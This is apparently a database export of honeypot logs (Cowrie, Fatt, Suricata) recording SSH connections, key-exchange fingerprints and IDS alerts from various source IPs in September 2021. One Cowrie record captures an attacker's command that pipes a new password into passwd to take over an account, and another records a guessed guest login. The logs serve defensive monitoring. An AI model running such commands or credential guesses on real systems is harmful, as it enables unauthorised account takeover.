"hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9e98ed5745b6", "@version": "1", "timestamp": "2021-09-20T12:11:08.307618Z", "@timestamp": "2021-09-20T12:11:08.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	HK
35961	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:11:08.10237+03	2021-09-20 15:15:03.949689+03	{"_id": "bAYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:44024 (192.168.176.2:22) [session: a7b6abc49bac]", "session": "a7b6abc49bac", "@version": "1", "protocol": "ssh", "src_port": 44024, "dest_port": 22, "timestamp": "2021-09-20T12:11:08.102370Z", "@timestamp": "2021-09-20T12:11:08.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	DE
35962	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:11:08.105045+03	2021-09-20 15:15:03.950691+03	{"_id": "bgYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a7b6abc49bac", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:11:08.105045Z", "@timestamp": "2021-09-20T12:11:08.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	DE
35963	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:11:08.363621+03	2021-09-20 15:15:03.95269+03	{"_id": "bwYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [guest/guest123] failed", "session": "a7b6abc49bac", "@version": "1", "password": "guest123", "username": "guest", "timestamp": "2021-09-20T12:11:08.363621Z", "@timestamp": "2021-09-20T12:11:08.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	DE
35992	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:11:13.105907+03	2021-09-20 15:15:03.991689+03	{"_id": "nAYeA3wBvYTbRNuED1_n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 51603, "dest_port": 3389, "timestamp": "2021-09-20T12:11:13.105907", "@timestamp": "2021-09-20T12:11:13.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
35964	46.101.115.211	109.199.241.180	Suricata	2021-09-20 15:11:08.138737+03	2021-09-20 15:15:03.95469+03	{"_id": "eAYdA3wBvYTbRNuE-19h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1633799022315588, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44024, "dest_port": 22, "timestamp": "2021-09-20T12:11:08.138737Z", "@timestamp": "2021-09-20T12:11:08.138Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	DE
35965	150.109.115.128	109.199.241.180	Fatt	2021-09-20 15:11:08.307035+03	2021-09-20 15:15:03.955691+03	{"_id": "fQYdA3wBvYTbRNuE_F9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37420, "dest_port": 22, "timestamp": "2021-09-20T12:11:08.307035", "@timestamp": "2021-09-20T12:11:08.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	HK
35966	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:08.302336+03	2021-09-20 15:15:03.956691+03	{"_id": "fAYdA3wBvYTbRNuE_F9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37420, "timestamp": "2021-09-20T12:11:08.302336", "@timestamp": "2021-09-20T12:11:08.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35967	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:11:09.400732+03	2021-09-20 15:15:03.95769+03	{"_id": "fwYdA3wBvYTbRNuE_l8s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a7b6abc49bac", "@version": "1", "duration": 1.2959322929382324, "timestamp": "2021-09-20T12:11:09.400732Z", "@timestamp": "2021-09-20T12:11:09.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	DE
35968	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:10.553272+03	2021-09-20 15:15:03.95969+03	{"_id": "gwYeA3wBvYTbRNuEAl8V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "43.240.6.90", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "8019f88c84fd", "@version": "1", "duration": 0.6191315650939941, "duplicate": true, "timestamp": "2021-09-20T12:11:10.553272Z", "@timestamp": "2021-09-20T12:11:10.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	IN
35969	93.184.220.29	109.199.241.180	Suricata	2021-09-20 15:11:10.036242+03	2021-09-20 15:15:03.96069+03	{"_id": "hwYeA3wBvYTbRNuEA18x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:10.036242+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "93.184.220.29", "asn": 15133, "as_org": "MCI Communications Services, Inc. d/b/a Verizon Business", "latitude": 51.5164, "location": {"lat": 51.5164, "lon": -0.093}, "timezone": "Europe/London", "city_name": "London", "longitude": -0.093, "postal_code": "EC2V", "region_code": "ENG", "region_name": "England", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "src_ip": "93.184.220.29", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 949986541866386, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 62501, "timestamp": "2021-09-20T12:11:10.036242Z", "@timestamp": "2021-09-20T12:11:10.036Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	GB
35970	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:06.803578+03	2021-09-20 15:15:03.961689+03	{"_id": "XgYdA3wBvYTbRNuE9l9a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "input": "echo -e \\"gal\\\\nqftjGrJRyQmX\\\\nqftjGrJRyQmX\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"gal\\\\nqftjGrJRyQmX\\\\nqftjGrJRyQmX\\"|passwd|bash", "session": "8019f88c84fd", "@version": "1", "timestamp": "2021-09-20T12:11:06.803578Z", "@timestamp": "2021-09-20T12:11:06.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	IN
35971	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:11:08.088007+03	2021-09-20 15:15:03.962689+03	{"_id": "cAYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:37420 (192.168.176.2:22) [session: 9e98ed5745b6]", "session": "9e98ed5745b6", "@version": "1", "protocol": "ssh", "src_port": 37420, "dest_port": 22, "timestamp": "2021-09-20T12:11:08.088007Z", "@timestamp": "2021-09-20T12:11:08.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	HK
35972	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:11:08.139402+03	2021-09-20 15:15:03.96469+03	{"_id": "bQYdA3wBvYTbRNuE-l9E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a7b6abc49bac", "@version": "1", "timestamp": "2021-09-20T12:11:08.139402Z", "@timestamp": "2021-09-20T12:11:08.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	DE
35973	46.101.115.211	109.199.241.180	Suricata	2021-09-20 15:11:08.138815+03	2021-09-20 15:15:03.96569+03	{"_id": "dwYdA3wBvYTbRNuE-19h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:11:08.067652+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1633799022315588, "payload": "AAADzAYU74SpKt/31NDt2M2jBo4ElQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44024, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:11:08.138815Z", "@timestamp": "2021-09-20T12:11:08.138Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........*...............(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	DE
